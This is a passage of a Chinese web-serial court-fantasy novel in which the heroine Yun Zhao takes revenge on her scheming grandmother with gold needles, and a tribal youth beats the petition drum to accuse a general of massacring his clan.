姜府距离皇宫更近一些,左右待会儿她也要进宫面圣,顺道去探望一
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下病重的祖母,也算全了她一片“孝心”。
*
云昭绕过影壁,走入姜府。
前后不过短短数日,这座昔日代表着清贵与权势的尚书府邸,已然显露出行将倾颓的凋敝之象。
府内花木许久未曾精心修剪,显得有些杂乱;回廊的地面落着未被及时清扫的枯叶;空气中弥漫着一种陈腐与药味混合的沉闷气息。
当云昭在姜珏的引领下,步入内院时,沿途遇到的零散仆役无不投来混杂着惊奇与敬畏的目光。
玄察司主是近来京城风头最劲的人物,而她还有另一重身份——
姜府走失整整十六年、四个月前才归家的“真千金”。
而自这位姜司主回府之后,姜家的日子便急转直下。
先是夫人苏氏毅然和离,带走大部分嫁妆;
紧接着,尚书府的御赐匾额被摘下,姜世安贬官;
府中用度骤减,仆人被裁撤了一波又一波;
再后来,陛下申饬旨意下达,姜世安和姜珩父子被杖责后,躺在担架上血肉模糊地抬回来;
宫里更是每日都准时遣内侍前来,敦促姜老夫人跪在佛前诵念《女德》两个时辰,风雨无阻!
还不到三天,养尊处优半辈子的姜老夫人就彻底病倒了,昨夜更是莫名其妙从床榻上直挺挺摔了下来,成了如今这般模样。
如今,老夫人偌大的院落里,只剩下两个粗使嬷嬷和一个年迈的贴身侍女勉强伺候着。
往昔的煊赫热闹,恍如隔世。
屋内光线昏暗,窗户紧闭。
姜老夫人躺在拔步床上,花白的头发凌乱地散在枕上,面色是一种不祥的青灰色。
听到脚步声,姜老夫人浑浊的眼珠艰难地转动,当看清走进来的是云昭时,那眼底先是茫然,随即猛地迸射出强烈的怨毒。
云昭在离床榻几步远的地方站定:“听说祖母身子不爽利,夜里还见了‘不干净的东西’,孙女心中担忧,特意起了个大早过来瞧瞧。”
姜老夫人半边身子麻痹,动弹不得,但嘴巴还算利索。
她用尽浑身力气骂道:“你这黑了心肝的小蹄子!当日在宫里……你就眼睁睁看着你的祖母、父亲、兄长被打!半句也不曾为家中求情!
当年就是世安心软,没听我的,就该把你直接溺死在尿桶里,哪还容你这祸害今日猖狂!
你别以为现在得意……你等着!你命硬克亲,迟早要遭报应的!”
云昭脸上连一丝波澜都没有升起,她甚至轻轻笑了一声:
“祖母怕是病糊涂了。”
她缓缓上前一步,俯身看着姜老夫人那双写满怨毒的眼睛,一字一句,清晰无比地说道:
“你,算我哪门子的祖母?自我出生至今,你可曾给过我一粒米、一寸布?可曾养过我一天?”
“姜世安,又算我哪门子的父亲?我落地不过数个时辰,便被他亲手丢弃于荒山野岭,任由豺狼啃噬,风雪掩埋!”
“姜珩,又算我什么兄长?他不过是个鸠占鹊巢的冒牌货!一个自小被生母养在烟花之地的贱种!”
她的声音并不高亢,却带着一种斩金截铁的力度:
“我此生最大的报应,就是不幸生在姜家,有你们这群蝇营狗苟、心肠烂透的垃圾,做了我的‘祖母’、‘父亲’和‘兄长’!”
第220章 看着您如何**!
“不过,好在我命确实够硬。我不但活着回来了,我还活得比你们所有人都更好!往后我的每一天,都会是好日子。至于祖母您,”
云昭的目光,落在姜老夫人骤然收缩的瞳孔上,
“接下来的几场‘好戏’,您可要瞪大了眼睛,好好看着。”
说话间,云昭从随身的药囊里,取出了那套金针。
姜老夫人眼中的怨毒瞬间被巨大的恐惧取代!
她喉咙里发出嗬嗬的怪响,拼命想挪动僵硬的身体,却无能为力,只能死死瞪着那逼近的寒芒:
“你……你要做什么?!你敢——!”
她猛地看向一直沉默站在一旁的姜珏,嘶声叫道:
“珏哥儿!你是**吗?!还不快把这**赶出去!去报官!去叫人!就说她要谋害祖母!她要弑亲啊!!”
姜珏一动不动地站着,一双眼乌沉沉地看着床上状若疯癫的老夫人。
那眼神里没有往日的恭敬,也没有孩童应有的惊慌,只有一片漠然。
云昭捏起一根金针:“动手之前,有件事,得先跟您老人家交代清楚。”
她伸出另一只手,不由分说地掀开姜老夫人左手的衣袖。
只见那枯瘦如鸡皮的手腕内侧,赫然出现了一条细如发丝、却鲜艳刺目的猩红血线!
血线如同有生命的毒虫,从手腕处开始,正沿着手臂内侧,以一种缓慢却坚定的速度,向着心口方向蜿蜒攀爬!
“祖母您这病,并非寻常的风邪入体。而是有人,将原本足以致命的血咒,转移到了您的身上。
这血线,便是咒力侵蚀血脉的显象。等它爬到心口,便是大罗金仙也难救了。”
姜老夫人呆住了。
她死死盯着自己手腕上那条诡异的红线,浑身开始不受控制地颤抖。
若不是云昭突然点破,她尚不知道自己身体还有这样的变化!
“是……是你!定然是你这妖女捣的鬼!”
云昭笑的讽刺:“我若想要您的命,方法多的是,何须用这种麻烦又留痕的手段?况且,我还没打算这么快就让您解脱呢。”
她松开手,好整以暇地看着姜老夫人惊恐万状的脸,慢悠悠道:
“姜珏,最近京里都出了些什么新鲜事,尤其是跟咱们姜家有关的,你来给祖母说道说道。”
姜珏目光平直地看着老夫人,声音干涩却清晰:“二姐姐姜绾心,已于日前嫁入东宫。”
姜老夫人原本死灰一片的眼睛里,骤然迸发出一丝光彩!
“我的心儿,果然是天生凤命!嫁入东宫,成了太子妃,好,太好了!”
然而,姜珏紧接着道:“陛下旨意,二姐姐嫁入东宫为妾,是最末一等的九品奉仪。”
“不……不可能!你胡说!”
姜老夫人猛地摇头,涎水飞溅,“心儿是要做太子妃的!她命中带贵!她可是满京城无人不知的小福星!
怎么可能只是奉仪!你们骗我!你们姐弟俩,合起伙来骗我这老婆子!!”
姜老夫人自然是无法接受的。
这些日子,她被拘在府中,每日还要被内侍监督跪诵《女德》,整个府邸入不敷出,身边伺候的人被裁撤得七七八八,消息闭塞如同囚徒。
姜世安和姜珩父子自顾不暇,根本不曾回府,也无人向她详细分说外界变故。
她所知的,还是许久以前那个“姜绾心即将入主东宫”的美梦。
云昭看着她崩溃的模样,眼底没有丝毫怜悯,接着姜珏的话,如同钝刀子割肉般继续道:
“祖母不信?那孙女再告诉您一件更‘有趣’的事——
如今折磨得您生不如死、让您看见‘鬼影’的这条血咒,它原本的主人,正是您寄予厚望、百般疼爱的好孙女,姜、绾、心!”
姜老夫人豁然双目圆睁,眼珠几乎要瞪出眼眶!
她先是死死盯着云昭,又猛地转向姜珏,仿佛在求证。
姜珏脸上只余一片冰冷。
“这不可能!绝不可能!”姜老夫人连连摇头,“心儿最是孝顺!她怎么会……你少在这里挑拨离间!这不是真的!”
姜珏却在这时突然开口:“祖母对梅姨娘多年来在府中所为,难道还不清楚吗?从前她是如何算计、磋磨大伯母,您当真一无所知?”
他顿了顿,看着老夫人骤变的脸色,继续道:
“还有那日,我亲眼看见,梅姨娘是如何将二姐姐身上的恶咒,转移到我阿姊姜绾宁身上的!”
少年的声音里终于染上了一丝压抑不住的悲愤:“如今,不过是我阿姊被她们害**,她们一时找不到新的‘替死鬼’,就把主意打到了祖母您的身上。
这有什么稀奇?在她们眼里,任何人都可以是垫脚石,是药渣,只要对她们自己有利!”
“你……你……”姜老夫人指着姜珩,半晌才道,“狼心狗肺的白眼狼!我平日竟是白疼你了!让你跟这煞星联合在一块来欺侮我!”
姜珏闻言,竟低低地笑了起来。那笑声比哭还难听。
“我的祖母,纵容妾室毒害嫡媳,默许外人混淆血脉;
我的生身父亲,自私冷血,只重权势,连亲生骨肉都可以当作筹码随意丢弃;
我的亲生母亲,满手毒计,为了往上爬,不惜害死嫡亲姐妹,害死外甥女;
我的二姐姐,一天到晚只知妄想攀附东宫,为了自己的容貌前程,不惜用邪术害死堂妹,如今,竟连祖母也不放过……”
他抬起泪眼,看向床上那张因震惊、愤怒、恐惧而扭曲的老脸,语气是前所未有的尖锐与讽刺:
“祖母凭什么认为,我生活在这样一个从根子上就烂透了的‘家’,有这样一群披着人皮的豺狼‘至亲’,我还能长出正直良善的心肝?
我若真是个唯唯诺诺的‘好人’,岂不是对不起你们多年的‘言传身教’?!”
这番话如同
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最后的重锤,狠狠砸在姜老夫人的心口。
她脸上的血色彻底褪尽,只剩下死灰一般的绝望。
她大张着嘴,却再也发不出像样的咒骂,只余破碎的气音。
然后,她猛地将视线转向云昭——
那眼神复杂到了极点,怨恨、恐惧、不甘,最后凝聚成一种近乎癫狂的指控。
她用尽最后的力气,嘶声道:“一切……一切都是从你回来开始的!是你!是你毁了姜家!”
云昭已经捏着金针,稳稳地刺入了姜老夫人头颈处的某个穴位。
针尖微凉,带着不容抗拒的力量。
“祖母,您又错了。”
云昭的声音冰冷而平稳,“一切,都是从您和姜世安、梅柔卿沆瀣一气,筹谋算计我娘开始的。
从你们决心作恶的那一天起,就注定了姜家会有今日这样的结局!”
姜老夫人骤然瞠目:“你……你怎么可能……”
“若要人不知,除非己莫为。”
云昭打断她,针尖在她面部几个穴位轻轻捻动,“难道祖母真以为,你们当年那些龌龊勾当,做得天衣无缝,永远无人知晓?”
她停下动作,直视着老夫人那双逐渐失去神采的眼睛:
“祖母,您可是姜府的‘定海神针’啊。许多事,没有您老人家的默许纵容,又如何进展得那般顺利?”
“所以,我得让您好好活着,亲眼看着,姜家是如何败落的;
看着您的儿子、孙子、孙女,是如何一个个走向他们应得的结局;
看着您是如何……**!!!”
说到最后四个字,云昭的声音陡然转厉。
紧接着,最后几根金针精准刺入姜老夫人面部和颈侧的几处要穴。
姜老夫人只觉得半边脸乃至整个头部一阵强烈的酸麻胀痛袭来。
随即,她惊恐地发现,自己不仅那半边**身体依旧无法动弹,连原本还能勉强说话的嘴巴也仿佛被冻住,舌头僵硬,再也吐不出清晰的音节,只能发出“啊……呃……”的含糊声响。
云昭退后一步,笑容体贴:
“祖母这病,的确不好治。
但孙女孝顺,这金针能保您在身中血咒的情况下,再凑凑合合地活上一段日子,足够保您看完咱们姜家接下来要发生的每一件事,再安心上路。”
姜老夫人喉咙里发出困兽般的呜咽,眼神里充满了绝望的哀求和对死亡的恐惧。
可她却再也说不出一个字。
云昭朝她安抚地一笑:“我这保命的法子只有一个缺点,施针之后,您说话可能就不太利索了。
但是您放心。我一定会确保您的耳朵听得清清楚楚,眼睛看得明明白白!死得不安宁!去得不甘心!”
正在这时,门口传来莺时的声音:“司主,常海公公等在大门口呢,陛下有令,急召您入宫!”
云昭闻言了然:看来那叫岩诺的少年,已然如约去敲登闻鼓了!
第221章 你到底是谁?!
昨夜戌时刚过,萧启便亲自率领一队精锐,护送着孟峥踏入宫门。
此前传回宫中的消息,无一不将孟峥的伤势描述得凶险万分——
脖颈被硬生生撕咬掉一块皮肉,血涌如泉,十几位御医联手施救,也仅仅是“吊着一口气”。
及至听到秦王护送已然清醒的孟峥进宫面圣的消息,皇帝连连赞赏:“姜云昭……果然不凡!”
见到孟峥时,皇帝也觉察了这位护国大将军的异常。
孟峥体格魁梧悍勇,素来嚣张跋扈,今晚却宛如一只抽去了筋骨的病虎。
哪怕面对帝王的垂询,他也自始至终低垂着头,只用极其简单、甚至有些滞涩的词语应答。
就连声音也失去了往日的洪亮粗嘎,变得沙哑低沉。
皇帝这些年来,几乎无时无刻不在忌惮着孟家。
此刻见到孟峥这副模样,心中那根紧绷了十几年的弦,竟奇异地松了一松。
他难得和颜悦色:“孟爱卿今日遭此无妄之灾,着实受了惊吓。伤势又重,夜色已深,不如就在宫中寻一处安静的偏殿歇下吧。”
孟峥朝着御座之上的皇帝,规规矩矩、端端正正地磕了一个头。
皇帝姜孟峥这副驯顺到近乎卑微的模样尽收眼底,心中大为舒畅。
自从孟峥屡立奇功,雄踞南疆,被封为护国大将军,十几年来,他何曾见过孟峥在自己面前露出这般臣服的模样?
皇帝自然也听说了,云昭先探阮府、后去殷家,忙完不少事才去看孟峥。
姜云昭此举,不仅救了人,更是无形中狠狠挫了孟峥乃至孟家的锐气!
待孟峥被内侍引去歇息的宫殿,皇帝特意将常玉召至近前:“大将军今夜宿在宫中的事,嘴巴都紧些,莫要外传,尤其……莫要传到贵妃宫中。”
常玉垂首恭立,心中明镜似的。
陛下这是不想让孟贵妃知晓,以免那位又不管不顾地大半夜跑来,哭求探望,徒惹风波。
他当即躬身:“老奴明白,定会约束好下头的人。”
待殿内只剩下皇帝与萧启叔侄二人,皇帝端起茶盏,轻轻吹了吹浮沫,忽然感慨道:“姜云昭若为男子,朕必不拘一格,委以重任,使其成为国之肱骨。”
萧启闻言却一挑眉:“陛下若要封赏云昭,何必管她是男还是女?还是说,陛下其实更在意她亲王妃的身份。”
说到这,他不由一哂,“若真是这样,倒是侄儿误了她。”
皇帝如何听不出萧启话里的维护。
他这个侄儿素来冷情,惜字如金,何时肯为一个女子说这么长一段话!
皇帝瞥了他一眼:“你与她相识,满打满算也不过这些时日。渊儿,你当真……这般钟情于她?”
萧启半垂着眸:“侄儿几年前在北境那场变故中,侥幸捡回一条命,却落下了严重的头风之症。若无阿昭,侄儿……夜不能寐。”
皇帝听了,语气并不见缓和:“如此说来,这姜云昭倒还是你的‘一剂良药’了。”
回想起不久前暗桩递来的密报,说玉衡**今日午**宫,与太子一同面见皇帝,之后不久,太子便带人赶往殷家。
如今再看皇帝对云昭反覆的态度,萧启还有什么不明白的?
心思电转间,萧启面上却丝毫不露,而是道:“陛下,京兆府那边还有一些事,臣需与赵大人一同参详。”
皇帝见他油盐不进,也懒得与他再多说,摆了摆手道:“快走快走。”
直到目送着萧启离开,一路回到柔妃寝殿,皇帝才想起玉衡**这码事。
“去跟玉衡**说一声,朕事情实在太多,让他今夜且宿在宫中。明日早起,陪朕一块在太液池垂钓。”
*
夜色如墨,宫城之外的京城渐渐沉入寂静。
萧启的马车并未径直返回秦王府,而是悄然驶入了灯火热闹的东市。
马车在一处不起眼的巷口停下。
车帘微掀,一道早已候在道边、头戴斗笠的身影,动作敏捷地闪身进入车内。
车内光线昏暗,只有一角悬挂的防风琉璃灯透出昏黄温暖的光晕。
刚上车的男子摘下斗笠,露出底下那张苍白却难掩俊雅的面容,正是本该在府中养伤的裴琰之。
萧启上下打量了他一眼,意味深长:“裴侍郎这般身手,若投身军旅,成就当不止于此。怎甘心只做个刑部侍郎,每日与案牍律例为伍?”
裴琰之将斗笠放在身侧,闻言只是淡淡扯了下嘴角。
“殿下说笑了。下官如今拥有的一切,姓名、户籍、路引,再到官职,皆是太子殿下当年一手安排。能有今日立锥之地,已属侥幸,岂敢再挑剔其他?”
提起太子,裴琰之的眼神微暗:“今夜殷府之事,太子殿下必定怨极了我。”
萧启回想起不久前云昭在殷府派人秘密递到他手中的那张字条,淡声道:“放心,接下来,他有的是需要用你的地方。”
顿了顿,萧启又道:“今夜玄都观之行,速战速决,须在明日天亮前赶回京城。”
说话间,萧启从马车座榻下的暗格中,取出一支细长的檀木卷轴。
他解开系带,将卷轴在两人之间的矮几上缓缓铺开。
昏黄灯光下,卷轴上的内容逐渐清晰——
竟是一幅绘制得极为详尽的玄都观全域地形图!
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>不仅楼阁殿宇、园林路径、岗哨位置标注得一清二楚,更令人心惊的是,许多关键位置旁边,还用极小的朱砂批注着蝇头小字,详细说明了该处可能布置的阵法名称、大致原理,以及简要的破解或避让之法!
其详尽与专业程度,绝非寻常探子所能绘制。
裴琰之的目光甫一落在这幅图上,面色便是一变!
他的瞳孔骤然收缩,呼吸几不可察地急促了一瞬。
因为,这图上标注的几处核心区域的布局、甚至某些阵法的描述……
竟与他那些断续纠缠、诡异莫名的梦境中所见的景象,有着惊人的重合!
他猛地抬起头,声音因极力克制而显得有些紧绷:“殿下这幅图……究竟是从何处得来?!”
萧启将他的反应尽收眼底,面上却不动声色,只平静道:“是一位不便露面的奇人所赠。
他精通机关阵法与玄门秘术,只是自身不良于行,无法亲往探查,故将此图赠予本王,以期能揭开玄都观之谜。”
裴琰之的手指无意识地攥紧了膝上的衣料,指节微微泛白。
他胸膛微微起伏,好一会儿,才勉强压下心头的惊涛骇浪。
他抬起眼,再次看向萧启时,眼中已多了几分决绝与恳切:“不知殿下……可否为下官引荐这位奇人?下官,有一些事,想当面向他请教。”
萧启迎着他迫切的目光,沉默了片刻。
车厢内一时寂静,只有车轮碾过青石板的辘辘声规律地响着。
好一会儿,萧启才道:“自是可以。这位奇人,想必也对裴侍郎颇为好奇。
只不过……在引荐之前,本王也有些事,想向裴侍郎请教清楚。”
裴琰之眼瞳微微一缩,就听萧启问道:“裴侍郎,可认识赫连曜?”
好一会儿,裴琰之哑声道:“认识。”
萧启步步紧逼:“裴侍郎,是朱玉国人?”
“非也。”裴琰之道,“但下官自小在朱玉国长大。
爹娘在朱玉国和我大晋的边境做生意,当年那边乱得很,爹娘和家中仆人都死在了一伙匪徒手里。
下官孤身一人,当过乞儿,偷过包子,后来得蒙三皇子救命之恩,之后便留在三皇子身边。
直到几年前,下官想回归故土,便告别了三皇子,一路回到京城。”
一切都和他此前派人查到的纹丝不差,可萧启直觉他仍有隐瞒。
一个自小在异国边域长大的中原人,哪怕有太子帮忙**路引,却凭一己之力,屡破奇案,在刑部这样的地方接连升官……
他的爹娘,真的只是普通生意人吗?
裴琰之,你到底是谁?!
第222章 推下山崖
翌日,正是旬日休沐。
皇帝昨晚宿在柔妃宫中,摆脱连日烦忧,难得睡了个好觉。
谁知天际刚透出一线蟹壳青,外间便传来一阵压抑而急促的骚动,将沉睡中的帝王惊醒。
常玉躬着身,几乎将头埋到胸口,站在龙床的纱帐外轻声道:“陛下……宫门值守禁卫急报,有人敲响了登闻鼓。”
帐内一片寂静,只余皇帝骤然变得粗重的呼吸声。
登闻鼓,设于皇宫正南的承天门外,专为直达天听、鸣告奇冤巨枉所设。
击鼓者,无论身份,必受御审,然若所告不实,亦将受极严反坐之刑。
当今宣启帝自诩勤政爱民,除了登基之初那三年政局未稳时,登闻鼓曾多次被敲响。
近十载光阴,这面象征着民间疾苦与冤情直诉的登闻鼓,从未有一次被敲响过!
这也是宣启帝内心深处,视为自己治下“政通人和”的明证之一。
此刻,这面沉寂十年的巨鼓,竟在休沐日的黎明前,被悍然敲响!
一旁同样被惊醒的柔妃,缓缓撑着身子坐起,她一双妙目在昏暗帐内亮如剪水:“常公公,可知这击鼓鸣冤的,是何方人士?”
常玉咽了口唾沫,如实回禀:“回柔妃娘娘,据禁卫初步盘问,击鼓者自称来自南疆十万大山深处的‘黑石寨’,乃是寨中已故‘司月圣女’阿措依的亲弟弟,名叫岩诺。观其年岁,不过十五六的少年模样。”
皇帝掀开帐幔,他赤足踏在柔软的地衣上,走到桌边,自己动手倒了杯早已凉透的茶水,一饮而尽。
常玉继续禀报,声音愈发小心翼翼:“那少年声称……要状告当朝护国大将军,于八年前,假借巡边谈判之名,行骗夺之实。
其后更悍然发兵,屠戮其全族老幼一千一百三十七口,焚寨灭迹,并以此冒领边功,伪称剿灭为祸一方的九黎悍匪,欺君罔上,恳请陛下……明察严惩!”
“啪!”
皇帝手中那只贡窑青瓷茶杯被重重墩在桌面,发出一声脆响。
他猛地转过身,目光如电:“他告的是孟峥?!”
“回陛下,千真万确,状纸与口述,皆直指孟大将军。”常玉声音发颤。
皇帝胸口微微起伏,沉吟片刻,他飞快下令:“更衣!传旨,今日虽为休沐,但登闻鼓响,依制即刻升朝!命在京五品以上官员,速至太极殿议事!”
他顿了顿,补充道,“去宣秦王,让他也即刻入宫!”
“遵旨!”常玉刚要转身去安排,另一个身影连滚带爬地冲了进来,正是常海。
他脸色煞白如纸,额角带着汗,扑通跪倒在地,声音带着哭腔:“陛下!孟大将军他……他不知怎的,在歇息的偏殿里突然发起狂来!力气大得惊人,好几个强壮的内侍都按他不住!”
皇帝心头一紧:“御医呢?”
常海抬起脸,只见他左眼眼眶一片骇人的青紫淤肿,嘴角也破了,渗着血丝,哭丧着脸道:
“章太医……章太医上前想用金针制住大将军,反被大将军一掌挥开,撞在柱子上,这会儿还晕着没醒呢!
奴才们上去阻拦,也被打伤了好几个……奴才这伤,还算是最轻的!”
“放肆!”皇帝怒斥一声,但怒意之下,更多的是心惊。
他猛地想起昨日殷府那桩诡异事件——阮鹤卿也是突然发狂咬人,而孟峥正是受害者。
难道……孟峥此刻的发狂,与那事有关?他也会如同阮鹤卿那般,失去理智,张口咬人?
皇帝当机立断,厉声道:“速去玄察司,宣姜云昭即刻入宫!让她直接到太极殿!”
*
天光大亮。
满朝文武,皆被这突如其来的“登闻鼓召”从府邸中唤起,匆匆换上朝服,怀着惊疑不定的心情,赶赴皇宫。
而大殿中央,跪着那个击鼓鸣冤的少年——岩诺。
他一身布衣,眉眼深邃,年轻而略显粗糙的脸紧绷着,透出一股孤狼般的倔强。
云昭赶到太极殿外的汉白玉阶下时,正好与匆匆赶来的萧启和裴琰之打了个照面。
云昭脚步微顿,目光在两人身上极快地掠过。
这两人……怎么会一同前来?
然而这个念头只在她心中一闪而过,眼下并非探究的时机。
因为大殿之上,岩诺字字泣血的控诉,已经吸引了所有人的全副心神。
“……孟峥,他根本不顾我阿姊当时已经怀了他的骨肉,将她狠狠推倒在地……待我们察觉不对,追出寨门,外面早就埋伏了他带来的精兵!”
少年嘶哑的声音回荡在寂静的大殿,每一个字都浸透着血泪:
“那天晚上,漫山遍野都是火光!我阿爹,被他们的长矛活活钉在了寨门的旗杆上!
我阿娘想扑上去救他,被乱刀砍倒在燃烧的火堆边。
我的哥哥,弟弟,还有我刚满三岁、最喜欢缠着我讲故事的小侄女……”
岩诺的声音哽住了,他用力吸了一口气,赤红的双眼扫过殿上那些或震惊、或怀疑、或漠然的面孔,最终望向御座之上的皇帝,用尽全身力气吼道:
“我全族一千一百三十七口!从寨中年纪最长的、掌管祭祀的百岁祭婆,到还在襁褓中嗷嗷待哺的婴孩……他们一个都没放过!”
“而我的阿姊,我们寨子的‘司月圣女’阿措依……被孟峥特意留下的副将徐莽,当着所有人的面,一刀贯穿了腹部!”
“只有我……当时被阿姊推下山崖,掉进了只有我和阿姊知道的那个隐秘山洞里,才侥幸躲过一劫。”
“后来,我听到边关传来捷报,说孟将军奇袭隐匿深山、屡犯边境的九黎悍匪巢穴’,‘歼敌上千’,‘缴获匪资无数’,加封护国大将军,赏赐无数!”
“荒谬!”荣太傅斥道,“空口无凭!你如何证明你身份属实?如何证明你所言非虚?”
荣太傅此言,彻底点燃了朝堂的窃窃嘈杂之声:
“据地方官牍记载,黑石寨地处偏远,极少与汉民往来,你所谓‘圣女’、‘圣物’,谁知是否为杜撰?说不定那寨子本就是为祸地方的匪窝,孟将军剿灭,乃是正理!”
“如今山寨已经没了,随便什么人都可以冒充遗孤,前来攀诬朝廷重臣!”
岩诺眼睛通红,死死盯着这些口沫横飞的官员,胸膛剧烈起伏,却没有立刻反驳。
御座之上,皇帝开口问道:“岩诺,你可有凭证,能证明你所说的话?”
岩诺抬起头,迎着皇帝的目光,一字一句道:“有!孟峥抢走的,是我们黑石寨世代供奉的祖神圣物——九黎血玉璜!
那玉璜形制特殊,与我族有特殊感应!陛下只需派人搜查孟峥府邸,必能找到!”
赵悉忽而啧了一声:“当年孟将军奏报大捷,可只字未提缴获了什么‘圣物’啊!”
另一名与孟家有些交情的武将道:“说不定都是胡诌!若有这般神奇之物,当年缴获时早该上报朝廷了!”
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>就在这时,一直静立旁观的云昭,忽然走上前:
“岩诺,举起你的左手,衣袖挽至肘部。”
岩诺对上云昭沉静的目光,依言照做。
众人的目光随之聚焦。只见他左手手腕内侧,赫然是一个暗红色的刺青图案!
图案线条古朴神秘,形似一只振翅欲飞、生有三足的怪异神鸟,鸟喙中似乎还衔着一枚弯月。
“这是……?”皇帝微微眯起眼睛。
云昭解释道:“陛下,诸位大人,此乃南疆黑石寨‘司月’一脉独有的血脉图腾刺青。
并非后天纹饰,而是其族中新生儿在满月祭祀时,由祭婆以特殊草药汁混合族人指尖血点刺而成,随年龄增长逐渐清晰,并与血脉呼应,难以仿造。”
苏文正这时道:“陛下,老臣记得李大人博闻强记、熟知各地风土人情,可以让他上前代为辨认。”
那位李大人犹豫了一下,在皇帝颔首示意下,走上前仔细端详岩诺手腕的刺青,还用指尖极轻地触碰了一下。
半晌,他退回原位,面色凝重地回禀:“陛下,老臣早年翻阅前朝《百蛮图志》残卷,其中确有记载南疆一支信奉‘月鸟’的古族,其族中重要成员手腕有此三足月鸟刺青,以草药血汁刺入,终身不褪。
观此子刺青之色泽、形态、乃至隐约透出的草药辛气……确与古**载相符。”
仍有官员坚持,“古书所载,未必详尽,有心人照样可以仿制!”
云昭伸出右手,将一滴血珠,轻轻滴落在岩诺手腕的刺青正中,一边飞快以指尖虚空布下灵咒。
在所有人惊骇的目光中,一道三足月鸟衔月图腾虚影,自他手腕处徐徐升起,悬浮于半空之中。
岩诺怔怔地看着半空中属于自己族群的图腾虚影,眼眶瞬间湿热。
自全族覆灭,颠沛流离,他已经太久太久,没有见到过这个象征着家族与传承的图案了……
殿内一片死寂,所有人都被这超乎想象的一幕震慑住了。
就连御座上的皇帝,也微微前倾了身体,眼中充满了震惊与审视。
然而就在这时,一个粗嘎愤怒的声音猛地从武将班列后方炸响:
“妖术!这都是妖术!”
众人循声望去,只见副将徐莽大步冲出,他脸色铁青,指着云昭和岩诺,厉声道:“陛下!休要听这妖女和这小贼胡言!
末将可以作证,这小子根本不是什么寨主之子!
他是大将军此次回京途中,半路捡到的垂死蛮童!
大将军怜他年幼将死,才带回京中,特意送到玄察司,请这位姜司主救治!
如今他不知受了何人指使,学了这些装神弄鬼的把戏,反咬恩人一口,其心可诛!
还请陛下明察,严惩这等忘恩负义、构陷忠良之辈!”
可就在他话音刚落的刹那——
被捆住双手,脸色木然的孟峥,忽然动了。
他没有看徐莽,也没有看皇帝,只是拖着略显僵硬的步伐,一步步走到大殿中央,走到那图腾虚影之下,走到跪着的岩诺面前。
紧接着,他双膝一弯,竟直挺挺地朝着那图腾虚影,对着岩诺,重重跪了下去!
而后,孟峥就那么一个接一个地磕起头来。
额头撞击在金砖地面,发出沉闷的“咚、咚”声响,每一声,都像重锤敲在每个人的心上。
他磕得那么用力,那么虔诚,又那么……诡异。
所有人都被这诡异的一幕惊呆了。
第223章 正是当年的自己!
徐莽先是一呆,紧接着,他猛地醒过神来,不管不顾地冲上前,伸手就去搀扶孟峥的臂膀:
“大将军!大将军您这是做什么?!
快起来!您是朝廷一品大员,战无不胜的护国大将军!怎能对着一个蛮族图腾、对着一个来历不明的野小子下跪!起来啊!”
然而,他的手刚触及孟峥的肩膀,就感觉到一股彻骨的寒意自掌心传来!
孟峥甚至没有回头,只是保持着跪姿,右臂猛地向后一抡!
“砰——!”
徐莽只觉得一股无法抗拒的大力传来,整个人如同被狂奔的野牛撞上,竟被硬生生掀飞出去,重重摔出三丈开外!
孟峥双手被缚的牛筋绳更是直接绷断,弹得徐莽脸上一道鲜明血痕!
满殿皆惊!武将们更是瞳孔骤缩——
要知道徐莽也是军中悍将,膂力过人,竟被如此轻易地甩飞!
徐莽顾不得脸上鲜血直流,连滚带爬地重新跪好,朝着御座的方向拼命叩首:
“陛下!大将军如此行事,绝非本意!这分明是中了邪术!被妖祟控制了心神!
恳请陛下速速召玉衡**入殿!**道法高深,必能驱邪镇祟,还大将军清明!”
皇帝心中早已惊疑不定。
孟峥今早莫名其妙在宫中发狂,打伤御医内侍。后来是调用了数十名精锐禁军,费了九牛二虎之力,才勉强将孟峥制服。
之后又用牛筋绳捆了双手,押上太极殿。
奇怪的是,自踏入这庄严大殿,孟峥反倒安静下来,一直沉默木然,直到方才突然又行事癫狂起来!
玉衡**……皇帝确有召他前来的念头,可就在这时,云昭忽然开口了。
“陛下,孟大将军的情形,瞧着确实不对劲。”
此言一出,在场官员的目光再次齐刷刷聚焦在云昭身上。
皇帝微微颔首,脸色稍缓。
他就知道,姜云昭心思缜密,处事果决,且行事颇有章法,并非那等徇私废公之人。
云昭继续道:“陛下,论博闻强识,刑名律例,臣远不及在场诸位大人。
但术业有专攻,针对孟大将军眼下情形,以及岩诺所诉之事,臣恰好有一法,或可令真相水落石出。”
皇帝闻言,不由想起前次云昭入宫,当着他的面,以一面屏风现出魂影祖孙相认的情形。
他虽不似太后那般痴迷长生,但对云昭沟通阴阳的手段,仍抱有极大的好奇。
“爱卿有何良方,但说无妨。”
云昭道:“方才岩诺陈情时提到,其族中有一传承圣物,名为九黎血玉璜。
臣虽未曾亲见此宝,但据玄门古籍所载,凡是宝玉,皆有其独特的‘灵应’。”
她略微停顿,环视众人,继续解释道:“简单来说,便是以这少年的血为引,辅以特殊法门,追溯玉璜所在。若玉璜就在大将军府,自然能证明岩诺所说为真。”
此言一出,当即有官员出言质疑:“若你与这南疆少年串通一气,以妖法幻术伪造感应,蒙蔽圣听,我等凡夫俗子,又如何辨别真假?”
云昭神色不变,不卑不亢地回应:“这位大人所虑,不无道理。不过,只要是灵玉,都能有此感应。
臣恳请在场诸位大人,提供随身玉佩,作为对照之物。”
届时,臣将同时以岩诺之血为引,尝试感应那‘九黎血玉璜’,并以同样方法,查验诸位提供的玉佩。”
皇帝兴致勃勃地率先开口:“常玉,去将朕常放在御案边的那块玉取来。”
他对云昭道,“此玉并非祖传,乃是朕一位故友早年所赠。不知够不够称得上灵玉?”
云昭道:“这也不难。稍后臣一试便知。”
她目光扫向殿中众臣,又问:“还有哪位大人,愿意借出宝玉一试吗?”
萧启眸光微闪,却没立即行动,且动作敏捷,一把拽住身旁跃跃欲试的赵悉。
恰在这时,云昭的目光“恰好”掠过面色沉凝的荣太傅。
她微微一笑,定住目光:“荣老大人腰间所佩这块羊脂白玉透雕莲藕鸳鸯佩,玉质莹润,宝光内蕴,不知可否借臣一用?”
荣太傅眼皮微抬,深深地看了云昭一眼,那眼神锐利如鹰,似要穿透她的意图。
须臾,他伸手解下腰间那块玉佩,语气听不出喜怒:“此物确是老夫贴身佩戴多年之物。
姜司主若能如你方才所言,以玄术之法,回溯此玉所‘记’之景,甚至断出此玉真正主人,老夫今日,便也心悦诚服,承认你这玄术一道,确有独到之处。”
荣太傅此言说出在场诸多大臣的心声。
他们此前都听说过云昭医玄双绝,深得陛下信重,但这所谓玄术,缥缈不定,究竟如何能切实解决问题,许多人未曾亲眼见过,始终将信将疑。
